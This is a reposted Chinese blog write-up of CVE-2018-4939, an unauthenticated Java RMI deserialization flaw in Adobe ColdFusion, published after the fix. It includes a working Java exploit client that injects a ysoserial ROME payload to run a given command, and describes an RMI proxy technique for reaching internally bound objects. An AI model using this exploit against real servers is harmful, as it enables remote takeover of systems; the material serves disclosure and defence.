ADOBE ColdFusion Java RMI 反序列化 RCE 漏洞详情(CVE-2018-4939)

前言

2017年10月我发布了一个 Java RMI/反序列化漏洞 的概述和PoC视频,该漏洞影响了AdobeColdFusion的Flex集成服务。我推迟发布所有细节和利用方法,因为发现了一个额外的可用于修复服务器的payload。

Adobe现在已经发布了进一步的 安全更新 ,可以点击链接了解更多详细信息。

RMI和java.lang.Object

Java远程方法调用(RMI)协议几乎是100% Java序列化 。当从RMI注册表服务请求一个对象并在该对象上调用方法时,通过网络传输的数据采用Java序列化格式。ColdFusion的Flex集成RMI服务公开了以下类的一个对象:

coldfusion.flex.rmi.DataServicesCFProxy

这个类可以在ColdFusion Installation目录中的“libs/cfusion.jar”文件中找到,如下所示:

package coldfusion.flex.rmi;importjava.rmi.Remote;importjava.rmi.RemoteException;importjava.util.List;importjava.util.Map;publicabstractinterfaceDataServicesCFProxyextendsRemote{  publicabstractListfill(StringparamString,Object[] paramArrayOfObject,MapparamMap) throws RemoteException;  publicabstractListsync(StringparamString,ListparamList,MapparamMap) throws RemoteException;  publicabstractObjectget(StringparamString,MapparamMap1,MapparamMap2) throws RemoteException;  publicabstractInteger count(StringparamString,Object[] paramArrayOfObject,MapparamMap) throws RemoteException;  publicabstractboolean fillContains(StringparamString,Object[] paramArrayOfObject,ObjectparamObject, Boolean paramBoolean,MapparamMap) throws RemoteException;}

这些方法中的每一个都可以用 任何 Java对象作为参数来调用。请注意,诸如List和Map之类的容器可以包含任何Java对象。与此RMI服务交互不需要身份验证,因此任何可以通过网络访问该服务的人都可以向该服务提供任意Java对象,以试图利用Java反序列化攻击(例如,通过 ysoserial payload作为参数)。

不幸的是,没有一个ysoserial payload起作用。

在我上一篇关于ColdFusion CVE-2017-11283和CVE-2017-11284的文章中谈到了我是如何修改了一个payload来成功利用这个入口并使用Mozilla Rhino JavaScript库获得远程命令执行的。在本例中使用技术和入口保持不变,但是我们针对的是与ColdFusion捆绑在一起的 ROME库 

进群:697699179可以获取Java各类入门学习资料!

这是我的微信公众号【编程study】各位大佬有空可以关注下,每天更新Java学习方法,感谢!

学习中遇到问题有不明白的地方,推荐加小编Java学习群:697699179内有视频教程 ,直播课程 ,等学习资料,期待你的加入

利用-简单的方法

下面是一个简单的RMI客户端程序,它从RMI注册表服务中检索ColdFusion DataServicesCFProxy对象,然后使用NULL参数调用RemoteCount()方法:

packagenb.barmie.demo;importcoldfusion.flex.rmi.DataServicesCFProxy;importjava.rmi.registry.LocateRegistry;importjava.rmi.registry.Registry;publicclassCFRMIDemo{publicstaticvoidmain(String[] args)throwsException{    Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));    DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");    obj.count(null,null,null);  }}

count()方法的第二个参数是java.lang.Object数组,这意味着我们可以在该参数中提供任意对象,它们将在服务器上反序列化。我们可以在运行时使用索引库来生成任意的payload对象,并将其传递给count()方法,但是,索引库的payload与ColdFusion捆绑在一起的ROME版本是不兼容的。如果我们尝试这样做,服务器将显示服务端类与通过网络发送的序列化对象不兼容。这是因为serialVersionUID字段不匹配,类似于我之前描述的针对Mozilla Rhino的攻击。

在2018年4月更新之前,利用ColdFusionRMI服务的最简单方法是重新构建ysoserial。与其针对ROME 1.0(Maven依赖项)构建ysoserial,不如在ColdFusion Installation目录中的“libs/rome-cf.jar”上构建它。这样就可以使用以下代码生成和注入payload了:

packagenb.barmie.exploit.standalone;importcoldfusion.flex.rmi.DataServicesCFProxy;importysoserial.payloads.ROME;importjava.rmi.registry.LocateRegistry;importjava.rmi.registry.Registry;publicclassCFRMIExploit{publicstaticvoidmain(String[] args)throwsException{    Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));    DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");    obj.count(null,newObject[] {newROME().getObject(args[2])    },null);  }}

使用以下参数运行:host, port, command。

利用-BaRMIe!

在RMI安全性方面做了大量工作之后,我选择在我的RMI枚举和攻击工具BaRMIe中实现一个漏洞。这是一个更复杂的利用,但也更强大。我将在不久的将来发布这个版本的漏洞,但现在我将为对它感兴趣的人解释它是如何工作的!

RMI背景知识

远程方法调用涉及两个网络服务和两个不同的网络连接。第一个网络服务是RMI注册服务,通常位于TCP端口1099,它本质上是一个目录服务,其中Java对象引用绑定到名称。下面代码的第4行连接到10.0.0.30:1099上的RMI注册表服务,并请求引用绑定到名称“foo”的对象:

publicclassRMIList{publicstaticvoidmain(String[] args)throwsException{    Registry reg = LocateRegistry.getRegistry("10.0.0.30",1099);    SomeClass obj = (SomeClass)reg.lookup("Foo");  }}

第二个网络服务用于与对象本身通信。当对象绑定到RMI注册表中的给定名称时,可以找到对象的主机和端口存储在注册表中。从RMI注册表中检索对象引用时,RMI注册表服务返回的数据包括对象的网络服务的主机和端口。下面代码中的第5行连接到RMI对象服务,并调用Method()方法:

publicclassRMIList{publicstaticvoidmain(String[] args)throwsException{    Registry reg = LocateRegistry.getRegistry("10.0.0.30",1099);    SomeClass obj = (SomeClass)reg.lookup("Foo");    obj.someMethod("String Param");  }}

中间人攻击

在构建Barmie时,我希望尽可能多地使用payload,而不必与依赖项和多个依赖项版本作斗争。实现这一点的方法是使用硬编码的静态paylaod,并动态生成部分内容(例如,命令字符串和相应的长度字段)。问题是,无法在接收服务器将这些字节反序列化的情况下从RMI连接中本地抽取任意字节。为了实现这一点,我构建了一个代理框架,允许我在两个连接实现中间人攻击。它的工作如下:

启动RMI注册表代理,将连接转发到目标RMI注册表

使用RMI注册表代理的主机和端口调用LocateRegistry.getRegistry(),而不是RMI注册表服务的主机和端口

通过RMI注册表代理调用Registry.lookup()检索远程对象引用(将请求转发给真正的RMI注册表服务)

当RMI注册表代理检测到返回远程对象引用时:

它启动一个RMI方法代理,将连接转发到真正的RMI对象服务。

它将远程对象引用修改为指向新的RMI方法代理,而不是实际的RMI对象服务。

在远程对象引用上调用方法时,通过RMI代理连接。

通过代理进行远程方法调用,我可以完全控制协议,并且可以操作Java虚拟机本来会阻止我操作的东西。这方面的一个很好的例子是,我们无法向期望java.lang.String类型的参数的远程方法提供任意对象参数,但是,如果我们使用代理在网络级别修改出站远程方法调用,那么我们可以提供一个任意对象,服务器将反序列化它。

使用RMI方法代理,我们可以正常方式对远程方法发出调用,但使用占位符参数而不是payload对象。当方法代理检测到表示该占位符对象的字节时,它可以用表示任意反序列化payload的字节流替换这些字节。

完善payload

当我第一次在ColdFusion Installation目录中发现“libs/rome-cf.jar”文件时,我所做的第一件事就是在Barmie中创建一个利用RMI方法代理的漏洞,它使用一个RMI方法代理,根据来自 ysoserial的ROME payload注入两个payload。这两种方法都没有成功,但是服务器的响应表明本地类是不兼容的,并给了我服务器端类的SerialVersionUID。通过多次修改payload,使得序列化VersionUID值与服务器上的值匹配,我再次实现了针对ColdFusion的远程命令执行。

Bonus:攻击“内部”服务

考虑到我上面详述的容易利用的特性,所有这些代理看起来都很费劲,但实际上Barmie中已经有了支持功能,所以开发这个漏洞只花了半个小时。

除了我之前提到的控制在Java虚拟机的限制之外的东西之外,还有一个额外的好处,但这一点绝对值得再提一次。许多“内部”RMI服务实际上并不是内部的。你可以将对象绑定到RMI注册中心,并且给人的印象是它们被绑定到例如127.0.0.1或10.0.0.30,甚至你自己的主机。如果外部攻击者使用上述简单攻击来检索对这些对象的引用,则它们将无法攻击RMI服务,因为它们无法访问这些内部地址。

但是,默认情况下,RMI对象服务绑定到所有网络接口。假设目标的外部地址为8.8.8.9,RMI注册表返回指向目标内部地址10.8.8.9:30001的对象引用。默认情况下,可以通过连接到外部地址上的相同端口(8.8.8.9:30001)访问同一个对象。通过代理RMI注册表连接,我们可以检测到这一点,并自动修改RMI连接,以启用对似乎在内部绑定的对象的攻击。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,189评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,577评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,857评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,703评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,705评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,620评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,995评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,656评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,898评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,639评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,720评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,395评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,982评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,953评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,195评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,907评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,472评论 2 342

推荐阅读更多精彩内容

  • 1)什么是rmi 2)简单的实现rmi 3)rmi原理 4)手写rmi框架 进群:697699179可以获取Jav...
    编程小世界阅读 495评论 0 1
  • RPC是远程过程调用的简称,广泛应用在大规模分布式应用中,作用是有助于系统的垂直拆分,使系统更易拓展。Java中的...
    程序员BUG阅读 261评论 0 0
  • 代理模式——远程代理(Java RMI) @(设计模式) 一、远程代理——大使 在日常开发中,我们经常会有本地服务...
    理查德成阅读 5,513评论 0 7
  • 老公和我一起起床,主动的承担家务,洗刷,做晚饭。 感恩闺女跟我分享与班主任沟通交流以及自己的学习情况。这两天跟我分...
    昭云之印阅读 215评论 0 0
  • 很多时候,我们会看到一些书,遇到一些人,经历一些事,他们会让我们感觉到如梦初醒,觉得要开始去做一些自己喜欢或者使...
    路云君墨阅读 265评论 0 1